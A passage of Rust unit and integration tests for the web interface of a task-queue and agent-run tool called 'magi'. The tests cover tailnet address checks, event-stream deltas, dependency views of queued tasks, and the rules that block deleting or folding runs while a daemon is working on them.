12990 IpAddr::V4(ip) if is_tailnet(&ip) => {
12991 assert!(warning.is_none(), "a tailnet address needs no warning");
12992 }
12993 other => {
12994 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
12995 let warning = warning.expect("a fallback has to explain itself");
12996 assert!(
12997 warning.contains("127.0.0.1") && warning.contains("local-only"),
12998 "the warning says what happened and what it costs: {warning}"
12999 );
13000 }
13001 }
13002 }
13003
13004 #[test]
13005 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
13006 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
13010 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
13011 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
13012 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
13013 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
13014 }
13015
13016 #[test]
13017 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
13018 let ids = vec![
13019 "20260902-140501-aaaa".to_owned(),
13020 "20260902-140502-aabb".to_owned(),
13021 ];
13022
13023 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
13024 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
13025 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
13026
13027 assert_eq!(missing.status, StatusCode::NOT_FOUND);
13028 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
13029 assert_eq!(short, "20260902-140502-aabb");
13030 }
13031 #[tokio::test]
13032 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
13033 let fx = Fixture::start().await;
13039 let id = panel(
13040 &fx,
13041 "<img src=\"shot.png\">",
13042 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
13043 );
13044
13045 let doc = fx
13047 .get(&format!("/api/questions/{id}/panel/index.html"))
13048 .await;
13049 assert_eq!(doc.status, 200, "{}", doc.body);
13050 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
13051
13052 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
13053 assert_eq!(sibling.status, 200, "{}", sibling.body);
13054 assert_eq!(sibling.header("content-type"), Some("image/png"));
13055 assert_eq!(
13056 sibling.header("content-security-policy"),
13057 Some(PANEL_CSP),
13058 "the sibling route must carry the same policy as the asset route"
13059 );
13060
13061 assert_eq!(
13064 fx.head(&format!("/api/questions/{id}/panel")).await.status,
13065 200
13066 );
13067 }
13068
13069 #[test]
13070 fn delta_stamps_cover_add_update_remove_and_noop() {
13071 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
13072 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
13073 let delta = diff_stamps(&before, &after, 42);
13074 assert_eq!(delta.base, 42);
13075 assert_eq!(delta.changed, ["b", "c"]);
13076 assert_eq!(delta.removed, ["a"]);
13077 let same = diff_stamps(&after, &after, 43);
13078 assert!(same.changed.is_empty() && same.removed.is_empty());
13079 assert_ne!(stamps_revision(&before), stamps_revision(&after));
13080 let nanos: Stamps = [("b".into(), (2, 20))].into();
13081 let same_ms: Stamps = [("b".into(), (3, 20))].into();
13082 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
13083 assert_eq!(stamps_revision(&Stamps::new()), 0);
13084 }
13085
13086 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
13087 std::fs::create_dir_all(home.join("runs")).unwrap();
13088 Arc::new(Ui::new(
13089 Queue::at(home.join("queue")),
13090 Questions::at(home.join("questions")),
13091 Talks::at(home.join("talks")),
13092 home.join("runs"),
13093 home.to_owned(),
13094 PathBuf::from("/repo/magi"),
13095 ))
13096 }
13097
13098 #[tokio::test]
13099 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
13100 let home = TempDir::new().unwrap();
13101 let ui = delta_test_ui(home.path());
13102 let mut task = Task::new(
13103 "stream task".into(),
13104 "text".into(),
13105 PathBuf::from("/repo"),
13106 Source::Human,
13107 );
13108 ui.queue.put(&mut task).unwrap();
13109 let response = events(State(ui.clone())).await.into_response();
13110 let mut stream = response.into_body().into_data_stream();
13111 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
13112 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
13113 .await
13114 .unwrap()
13115 .unwrap()
13116 .unwrap();
13117 let text = String::from_utf8(chunk.to_vec()).unwrap();
13118 let data = text
13119 .lines()
13120 .find_map(|line| {
13121 line.strip_prefix("data: ")
13122 .or_else(|| line.strip_prefix("data:"))
13123 })
13124 .unwrap();
13125 serde_json::from_str(data).unwrap()
13126 }
13127 let initial = change(&mut stream).await;
13128 assert!(initial.get("queue_delta").is_none());
13129 task.instruction.push_str(" changed");
13130 ui.queue.put(&mut task).unwrap();
13131 let updated = change(&mut stream).await;
13132 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
13133 assert_eq!(
13134 updated["queue_delta"]["changed"],
13135 serde_json::json!([task.id])
13136 );
13137 assert_eq!(
13138 updated["queue_rev"].as_u64(),
13139 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
13140 );
13141 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
13142 let removed = change(&mut stream).await;
13143 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
13144 assert_eq!(
13145 removed["queue_delta"]["removed"],
13146 serde_json::json!([task.id])
13147 );
13148 }
13149
13150 #[tokio::test]
13151 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
13152 let home = TempDir::new().unwrap();
13153 let ui = delta_test_ui(home.path());
13154 let queue = ui.queue.clone();
13155 let query = |ids: Option<&str>| {
13156 Query(ListQuery {
13157 limit: Some(2),
13158 ids: ids.map(str::to_owned),
13159 })
13160 };
13161 let mut root = Task::new(
13162 "root".into(),
13163 "instruction".into(),
13164 PathBuf::from("/repo"),
13165 Source::Human,
13166 );
13167 queue.put(&mut root).unwrap();
13168 let mut blocked = Task::new(
13169 "blocked".into(),
13170 "instruction".into(),
13171 PathBuf::from("/repo"),
13172 Source::Human,
13173 );
13174 blocked.block(vec![root.id.clone()], None);
13175 queue.put(&mut blocked).unwrap();
13176 let whole =
13177 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
13178 .unwrap();
13179 let subset = serde_json::to_value(
13180 queue_list(State(ui.clone()), query(Some(&root.id)))
13181 .await
13182 .unwrap()
13183 .0,
13184 )
13185 .unwrap();
13186 assert_eq!(whole, subset, "requested root plus its blocked dependent");
13187 let blockers = serde_json::to_value(
13188 queue_list(State(ui.clone()), query(Some("")))
13189 .await
13190 .unwrap()
13191 .0,
13192 )
13193 .unwrap();
13194 assert_eq!(blockers.as_array().unwrap().len(), 1);
13195 assert_eq!(blockers[0]["id"], blocked.id);
13196 assert_eq!(
13197 blockers[0]["waits_on"],
13198 whole
13199 .as_array()
13200 .unwrap()
13201 .iter()
13202 .find(|row| row["id"] == blocked.id)
13203 .unwrap()["waits_on"]
13204 );
13205
13206 for id in [
13207 "20260902-140501-aaaa",
13208 "20260902-140502-bbbb",
13209 "20260902-140503-cccc",
13210 ] {
13211 write_run(&ui.runs, id, RunStatus::Merged);
13212 }
13213 let old = serde_json::to_value(
13214 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
13215 .await
13216 .unwrap()
13217 .0,
13218 )
13219 .unwrap();
13220 assert!(
13221 old.as_array().unwrap().is_empty(),
13222 "older updates must not enter the window"
13223 );
13224 let newest = serde_json::to_value(
13225 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
13226 .await
13227 .unwrap()
13228 .0,
13229 )
13230 .unwrap();
13231 assert_eq!(newest.as_array().unwrap().len(), 1);
13232 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
13233
13234 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
13235 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
13236 let talks = serde_json::to_value(
13237 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
13238 .await
13239 .unwrap()
13240 .0,
13241 )
13242 .unwrap();
13243 assert_eq!(talks.as_array().unwrap().len(), 1);
13244 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
13245 assert_eq!(
13246 serde_json::to_value(
13247 talks_list(State(ui.clone()), query(Some("")))
13248 .await
13249 .unwrap()
13250 .0
13251 )
13252 .unwrap(),
13253 serde_json::json!([])
13254 );
13255 }
13256
13257 #[tokio::test]
13258 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
13259 async fn delta_payload_benchmark() {
13260 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
13261 let ui = delta_test_ui(&home);
13262 let query = |ids: Option<String>| {
13263 Query(ListQuery {
13264 limit: Some(50),
13265 ids,
13266 })
13267 };
13268 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
13269 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
13270 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
13271 let queue_id = queue
13272 .iter()
13273 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
13274 .unwrap_or(&queue[0])
13275 .task
13276 .id
13277 .clone();
13278 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
13279 .await
13280 .unwrap()
13281 .0;
13282 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
13283 .await
13284 .unwrap()
13285 .0;
13286 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
13287 .await
13288 .unwrap()
13289 .0;
13290 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
13291 eprintln!(
13292 "DELTA_PAYLOAD {}",
13293 serde_json::json!({
13294 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
13295 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
13296 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
13297 "counts": [queue.len(), runs.len(), talks.len()],
13298 "blocked": queue_delta.len() - 1,
13299 })
13300 );
13301 }
13302
13303 #[test]
13304 fn runs_revision_moves_when_deleting_an_older_run() {
13305 let temp = TempDir::new().expect("tempdir");
13306 let runs = temp.path().join("runs");
13307 std::fs::create_dir_all(&runs).expect("create runs dir");
13308
13309 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
13310
13311 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
13312 std::thread::sleep(Duration::from_millis(10));
13313 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
13314
13315 let rev_before = runs_revision(&runs);
13316 assert!(rev_before > 0);
13317
13318 let old_dir = runs.join("20260901-100000-old1");
13319 std::fs::remove_dir_all(&old_dir).expect("remove old run");
13320
13321 let rev_after = runs_revision(&runs);
13322 assert_ne!(
13323 rev_before, rev_after,
13324 "deleting an older run must change the revision so other clients see the deletion"
13325 );
13326 }
13327
13328 fn write_state(runs: &FsPath, state: &RunState) {
13333 let dir = runs.join(&state.id);
13334 std::fs::create_dir_all(&dir).expect("run dir");
13335 std::fs::write(
13336 dir.join("run.json"),
13337 serde_json::to_string_pretty(state).expect("serialize run"),
13338 )
13339 .expect("write run.json");
13340 }
13341
13342 #[test]
13347 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
13348 let temp = TempDir::new().expect("tempdir");
13349 let runs = temp.path().join("runs");
13350 std::fs::create_dir_all(&runs).expect("create runs dir");
13351 let mut state = RunState::new(
13352 PathBuf::from("/repo/magi"),
13353 "main".to_owned(),
13354 "0123456789abcdef".to_owned(),
13355 "task".to_owned(),
13356 Config::default(),
13357 );
13358 state.id = "20260902-100000-c0de".to_owned();
13359 write_state(&runs, &state);
13360
13361 let rev_idle = runs_revision(&runs);
13362 std::thread::sleep(Duration::from_millis(10));
13363 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
13364 write_state(&runs, &state);
13365 let rev_started = runs_revision(&runs);
13366 assert_ne!(
13367 rev_idle, rev_started,
13368 "a seat starting must move the revision"
13369 );
13370
13371 std::thread::sleep(Duration::from_millis(10));
13372 state.seat_finished("judge-1");
13373 write_state(&runs, &state);
13374 let rev_finished = runs_revision(&runs);
13375 assert_ne!(
13376 rev_started, rev_finished,
13377 "and clearing it again must move the revision a second time"
13378 );
13379 }
13380
13381 #[tokio::test]
13382 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
13383 let fx = Fixture::start().await;
13388 let q = fx.queue();
13389
13390 let mut t = Task::new(
13391 "Task".to_owned(),
13392 "Instruction".to_owned(),
13393 PathBuf::from("/repo"),
13394 Source::Human,
13395 );
13396 t.block(
13397 vec!["20260101-000000-dead".to_owned()],
13398 Some("waiting on Task 1".to_owned()),
13399 );
13400 t.answers.push(crate::queue::AnsweredQuestion {
13401 question: "Which backend?".to_owned(),
13402 answer: "SQLite".to_owned(),
13403 });
13404 q.put(&mut t).expect("put t");
13405
13406 let res = fx.get("/api/queue").await;
13407 assert_eq!(res.status, 200);
13408 let list = res.json();
13409 let view = list
13410 .as_array()
13411 .expect("array")
13412 .iter()
13413 .find(|v| v["id"] == t.id)
13414 .expect("task in list");
13415 assert_eq!(view["status_str"], "blocked");
13416 assert_eq!(
13417 view["blocked_by"],
13418 serde_json::json!(["20260101-000000-dead"])
13419 );
13420 assert_eq!(view["block_reason"], "waiting on Task 1");
13421 assert_eq!(view["answers"][0]["question"], "Which backend?");
13422 assert_eq!(view["answers"][0]["answer"], "SQLite");
13423
13424 let res = fx
13428 .post(&format!("/api/queue/{}/hold", t.short()), None)
13429 .await;
13430 assert_eq!(res.status, 200);
13431 let held = res.json();
13432 assert_eq!(held["status_str"], "held");
13433 assert_eq!(held["blocked_by"], serde_json::json!([]));
13434 assert!(held["block_reason"].is_null());
13435 assert_eq!(held["answers"][0]["answer"], "SQLite");
13436 }
13437
13438 #[tokio::test]
13439 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
13440 let fx = Fixture::start().await;
13441 let q = fx.queue();
13442 let mk = |title: &str| {
13443 Task::new(
13444 title.to_owned(),
13445 "Instruction".to_owned(),
13446 PathBuf::from("/repo"),
13447 Source::Human,
13448 )
13449 };
13450 let mut root = mk("root");
13451 root.hold_manual(Some("waiting".to_owned()));
13452 q.put(&mut root).unwrap();
13453 let mut mid = mk("mid");
13454 mid.block(vec![root.id.clone()], None);
13455 q.put(&mut mid).unwrap();
13456 let mut leaf = mk("leaf");
13457 leaf.block(vec![mid.id.clone()], None);
13458 q.put(&mut leaf).unwrap();
13459
13460 let list = fx.get("/api/queue").await.json();
13461 let find = |id: &str| {
13462 list.as_array()
13463 .unwrap()
13464 .iter()
13465 .find(|v| v["id"] == id)
13466 .unwrap()
13467 .clone()
13468 };
13469 let leaf_view = find(&leaf.id);
13470 assert_eq!(
13471 leaf_view["waits_on"],
13472 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
13473 );
13474 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
13475 assert_eq!(
13476 find(&mid.id)["waits_on"],
13477 serde_json::json!([format!("{} (held)", root.short())])
13478 );
13479 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
13480 }
13481
13482 #[tokio::test]
13483 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
13484 let fx = Fixture::start().await;
13485 let q = fx.queue();
13486
13487 let mut t1 = Task::new(
13489 "Task 1".to_owned(),
13490 "Instruction 1".to_owned(),
13491 PathBuf::from("/repo"),
13492 Source::Human,
13493 );
13494 let run_id = "20260901-000000-r111";
13495 t1.runs.push(run_id.to_owned());
13496 write_run(&fx.runs(), run_id, RunStatus::Merged);
13497 q.put(&mut t1).expect("put t1");
13498
13499 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
13501 assert_eq!(res.status, 204);
13502 assert!(res.body.is_empty(), "204 No Content has no body");
13503 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
13504 assert!(
13505 fx.runs().join(run_id).exists(),
13506 "run directory must not be deleted when its task is deleted"
13507 );
13508
13509 let mut t2 = Task::new(
13511 "Task 2".to_owned(),
13512 "Instruction 2".to_owned(),
13513 PathBuf::from("/repo"),
13514 Source::Human,
13515 );
13516 t2.status = TaskStatus::Running;
13517 q.put(&mut t2).expect("put t2");
13518 let mut beat = crate::daemon::Status::new();
13519 beat.current = vec![crate::daemon::Current {
13520 task: t2.id.clone(),
13521 run: "20260901-000000-r222".to_owned(),
13522 }];
13523 beat.updated_at = jiff::Timestamp::now();
13524 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13525 .expect("publish a heartbeat");
13526 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
13527 assert_eq!(res.status, 409);
13528 assert!(
13529 res.json()["error"]
13530 .as_str()
13531 .unwrap()
13532 .contains("live daemon")
13533 );
13534 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
13535
13536 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
13542 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13543 .expect("leave a stale heartbeat");
13544 let mut t3 = Task::new(
13545 "Task 3".to_owned(),
13546 "Instruction 3".to_owned(),
13547 PathBuf::from("/repo"),
13548 Source::Human,
13549 );
13550 t3.status = TaskStatus::Running;
13551 q.put(&mut t3).expect("put t3");
13552 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
13553 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
13554 assert_eq!(res.status, 204);
13555 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
13556 assert!(
13557 q.claim(&t3.id).is_ok(),
13558 "the stale lock went with it, so the id is claimable again"
13559 );
13560
13561 let res = fx.delete("/api/queue/nonexistent").await;
13563 assert_eq!(res.status, 404);
13564 }
13565
13566 #[tokio::test]
13567 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
13568 let fx = Fixture::start().await;
13569 let runs = fx.runs();
13570
13571 let run_id = "20260901-000000-fold";
13573 let mut state = RunState::new(
13574 PathBuf::from("/repo"),
13575 "main".to_owned(),
13576 "abc".to_owned(),
13577 "instruction".to_owned(),
13578 Config::default(),
13579 );
13580 state.id = run_id.to_owned();
13581 state.status = RunStatus::Merged;
13582 state.candidates.push(crate::run::Candidate {
13583 index: 0,
13584 label: 'A',
13585 agent: "a".to_owned(),
13586 branch: "b".to_owned(),
13587 worktree: PathBuf::from("/w"),
13588 summary: String::new(),
13589 stat: String::new(),
13590 files: 1,
13591 commits: 1,
13592 empty: false,
13593 failed: None,
13594 verified_noop: None,
13595 duration_ms: 0,
13596 folded: true,
13597 });
13598 let dir = runs.join(run_id);
13599 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
13600 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
13601 .expect("write artifact");
13602 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
13603 .expect("write run.json");
13604
13605 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
13607 assert_eq!(res.status, 204);
13608 assert!(res.body.is_empty(), "204 has no body");
13609 assert!(!dir.exists(), "run directory and artifacts must be deleted");
13610
13611 let run_running = "20260901-000000-rung";
13616 write_run(&runs, run_running, RunStatus::Prep);
13617 let mut beat = crate::daemon::Status::new();
13618 beat.current = vec![crate::daemon::Current {
13619 task: "20260901-000000-task".to_owned(),
13620 run: run_running.to_owned(),
13621 }];
13622 beat.updated_at = jiff::Timestamp::now();
13623 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13624 .expect("publish a heartbeat");
13625 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
13626 assert_eq!(res.status, 409);
13627 assert!(
13628 res.json()["error"]
13629 .as_str()
13630 .unwrap()
13631 .contains("live daemon"),
13632 "the refusal must say who is holding it"
13633 );
13634 assert!(
13635 runs.join(run_running).exists(),
13636 "a run in flight keeps its directory"
13637 );
13638
13639 let run_unfolded = "20260901-000000-unfd";
13641 let mut state2 = RunState::new(
13642 PathBuf::from("/repo"),
13643 "main".to_owned(),
13644 "abc".to_owned(),
13645 "instruction".to_owned(),
13646 Config::default(),
13647 );
13648 state2.id = run_unfolded.to_owned();
13649 state2.status = RunStatus::Ready;
13650 state2.candidates.push(crate::run::Candidate {
13651 index: 0,
13652 label: 'A',
13653 agent: "a".to_owned(),
13654 branch: "b".to_owned(),
13655 worktree: PathBuf::from("/w"),
13656 summary: String::new(),
13657 stat: String::new(),
13658 files: 1,
13659 commits: 1,
13660 empty: false,
13661 failed: None,
13662 verified_noop: None,
13663 duration_ms: 0,
13664 folded: false,
13665 });
13666 let dir2 = runs.join(run_unfolded);
13667 std::fs::create_dir_all(&dir2).expect("create dir2");
13668 std::fs::write(
13669 dir2.join("run.json"),
13670 serde_json::to_string(&state2).unwrap(),
13671 )
13672 .expect("write run.json");
13673
13674 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
13675 assert_eq!(res.status, 409);
13676 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
13677 assert!(dir2.exists(), "unfolded run directory is kept");
13678
13679 let res = fx.delete("/api/runs/nonexistent").await;
13681 assert_eq!(res.status, 404);
13682 }
13683
13684 #[test]
13693 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
13694 let start = APP_JS
13695 .find("function renderStats() {")
13696 .expect("renderStats");
13697 let end = start
13698 + APP_JS[start..]
13699 .find("function statsTile(")
13700 .expect("the next top-level function");
13701 let body = &APP_JS[start..end];
13702
13703 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
13704 let gate_end = gate_start
13705 + body[gate_start..]
13706 .find("}\n renderStatsQueue")
13707 .expect("the gate's own closing brace, right before the unconditional call");
13708 let gated = &body[gate_start..gate_end];
13709
13710 assert_eq!(
13711 body.matches("renderStatsQueue(").count(),
13712 1,
13713 "renderStats must call renderStatsQueue exactly once: {body}"
13714 );
13715 assert!(
13716 !gated.contains("renderStatsQueue"),
13717 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
13718 run-derived panels on an empty run history - the queue panel has to render \
13719 regardless: {gated}"
13720 );
13721 }
13722
13723 #[test]
13724 fn web_ui_delete_contract_in_front_end() {
13725 assert!(APP_JS.contains("deleteRun:"));
13727 assert!(APP_JS.contains("deleteTask:"));
13728
13729 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
13731 ..APP_JS.find("function renderRuns").unwrap()];
13732 assert!(!run_cards_slice.to_lowercase().contains("delete"));
13733
13734 assert!(APP_JS.contains("renderRunDelete"));
13736 assert!(APP_JS.contains("runDeleteReason"));
13737 assert!(APP_JS.contains("magi fold"));
13738 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
13739
13740 assert!(APP_JS.contains("cancel.focus"));
13742 assert!(APP_JS.contains("armedRunDelete"));
13743 assert!(APP_JS.contains("renderTaskDeleteBox"));
13744 assert!(APP_JS.contains("armed${cap(key)}"));
13745
13746 assert!(APP_JS.contains("disabled: status === \"running\""));
13748 }
13749
13750 #[test]
13770 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
13771 let build = APP_JS
13772 .find("function createRunCard")
13773 .expect("createRunCard exists");
13774 let update = APP_JS
13775 .find("function updateRunCard")
13776 .expect("updateRunCard exists");
13777 let end = APP_JS
13778 .find("function renderRuns")
13779 .expect("renderRuns exists");
13780
13781 let builder = &APP_JS[build..update];
13783 let open = builder.find("refs = {").expect("createRunCard sets refs");
13784 let literal = &builder[open + "refs = {".len()..];
13785 let close = literal.find('}').expect("the refs literal is closed");
13786 let published: HashSet<&str> = literal[..close]
13787 .split(',')
13788 .filter_map(|entry| entry.split(':').next())
13790 .map(str::trim)
13791 .filter(|name| !name.is_empty())
13792 .collect();
13793 assert!(
13794 published.len() > 5,
13795 "the refs literal did not parse into names: {published:?}"
13796 );
13797
13798 let mut used: Vec<&str> = Vec::new();
13801 let updaters = &APP_JS[update..end];
13802 for (at, _) in updaters.match_indices("r.") {
13803 let before = updaters[..at].chars().next_back();
13806 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
13807 continue;
13808 }
13809 let rest = &updaters[at + 2..];
13810 let len = rest
13811 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
13812 .unwrap_or(rest.len());
13813 if len > 0 {
13814 used.push(&rest[..len]);
13815 }
13816 }
13817 assert!(
13818 used.len() > 5,
13819 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
13820 );
13821
13822 let missing: Vec<&str> = used
13823 .iter()
13824 .copied()
13825 .filter(|name| !published.contains(name))
13826 .collect();
13827 assert!(
13828 missing.is_empty(),
13829 "a run card's updater reaches for {missing:?}, which `createRunCard` \
13830 never put in `refs` - every card will throw and the list will \
13831 render empty under a count line that says otherwise. Published: \
13832 {published:?}"
13833 );
13834 }
13835
13836 #[tokio::test]
13837 async fn folding_from_the_phone_reports_what_it_removed() {
13838 let fx = Fixture::start().await;
13839 let runs = fx.runs();
13840
13841 let id = "20260901-000000-fold";
13845 write_run(&runs, id, RunStatus::Stalled);
13846 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13847 assert_eq!(res.status, 200);
13848 assert_eq!(res.json()["removed_count"], 0);
13849 assert_eq!(res.json()["run"], id);
13850 assert!(
13851 runs.join(id).exists(),
13852 "a fold keeps the run's record; only the worktrees go"
13853 );
13854 }
13855
13856 #[tokio::test]
13857 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
13858 let fx = Fixture::start().await;
13859 let runs = fx.runs();
13860 let wt = fx.home.path().join("wt").join("magi").join("dead");
13861 let id = "20260901-000000-dead";
13862 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13863 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13864 std::fs::create_dir_all(&wt).expect("worktree dir");
13865
13866 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13867 assert_eq!(res.status, 200, "{}", res.body);
13868 assert!(
13869 res.json()["removed_count"].as_u64().unwrap() > 0,
13870 "the worktree this build could not read a state for still went"
13871 );
13872 assert!(
13873 !runs.join(id).exists(),
13874 "an unreadable run has no candidate list to fold selectively, so \
13875 the whole record goes - same as `magi fold` on the CLI"
13876 );
13877 }
13878
13879 #[tokio::test]
13880 async fn deleting_an_unreadable_run_removes_it_wholesale() {
13881 let fx = Fixture::start().await;
13882 let runs = fx.runs();
13883 let wt = fx.home.path().join("wt").join("magi").join("gone");
13884 let id = "20260901-000000-gone";
13885 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13886 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13887 std::fs::create_dir_all(&wt).expect("worktree dir");
13888
13889 let res = fx.delete(&format!("/api/runs/{id}")).await;
13890 assert_eq!(res.status, 204, "{}", res.body);
13891 assert!(!runs.join(id).exists(), "the broken record is gone");
13892 assert!(!wt.exists(), "its worktree is gone too");
13893 }
13894
13895 #[tokio::test]
13896 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
13897 let fx = Fixture::start().await;
13898 let runs = fx.runs();
13899 let id = "20260901-000000-live";
13900 write_run(&runs, id, RunStatus::Implementing);
13901
13902 let mut beat = crate::daemon::Status::new();
13903 beat.current = vec![crate::daemon::Current {
13904 task: "20260901-000000-task".to_owned(),
13905 run: id.to_owned(),
13906 }];
13907 beat.updated_at = jiff::Timestamp::now();
13908 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13909 .expect("publish a heartbeat");
13910
13911 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13912 assert_eq!(res.status, 409);
13913 assert!(
13914 res.json()["error"]
13915 .as_str()
13916 .unwrap()
13917 .contains("live daemon"),
13918 "folding under a running agent would pull its worktree away"
13919 );
13920 }
13921
13922 #[tokio::test]
13923 async fn fold_merged_requires_a_pr_url() {
13924 let fx = Fixture::start().await;
13925 let runs = fx.runs();
13926 let id = "20260901-000000-nourl";
13927 write_run(&runs, id, RunStatus::Blocked);
13928
13929 let res = fx
13930 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
13931 .await;
13932 assert_eq!(res.status, 400, "{}", res.body);
13933
13934 let blank = fx
13935 .post(
13936 &format!("/api/runs/{id}/fold-merged"),
13937 Some(r#"{"pr_url":" "}"#),
13938 )
13939 .await;
13940 assert_eq!(blank.status, 400, "{}", blank.body);
13941 }
13942
13943 #[tokio::test]
13944 async fn fold_merged_is_404_for_an_unknown_run() {
13945 let fx = Fixture::start().await;
13946 let res = fx
13947 .post(
13948 "/api/runs/nosuchrun/fold-merged",
13949 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13950 )
13951 .await;
13952 assert_eq!(res.status, 404, "{}", res.body);
13953 }
13954
13955 #[tokio::test]
13956 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
13957 let fx = Fixture::start().await;
13958 let runs = fx.runs();
13959 let id = "20260901-000000-livemerge";
13960 write_run(&runs, id, RunStatus::Blocked);
13961
13962 let mut beat = crate::daemon::Status::new();
13963 beat.current = vec![crate::daemon::Current {
13964 task: "20260901-000000-task".to_owned(),
13965 run: id.to_owned(),
13966 }];
13967 beat.updated_at = jiff::Timestamp::now();
13968 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13969 .expect("publish a heartbeat");
13970
13971 let res = fx
13972 .post(
13973 &format!("/api/runs/{id}/fold-merged"),
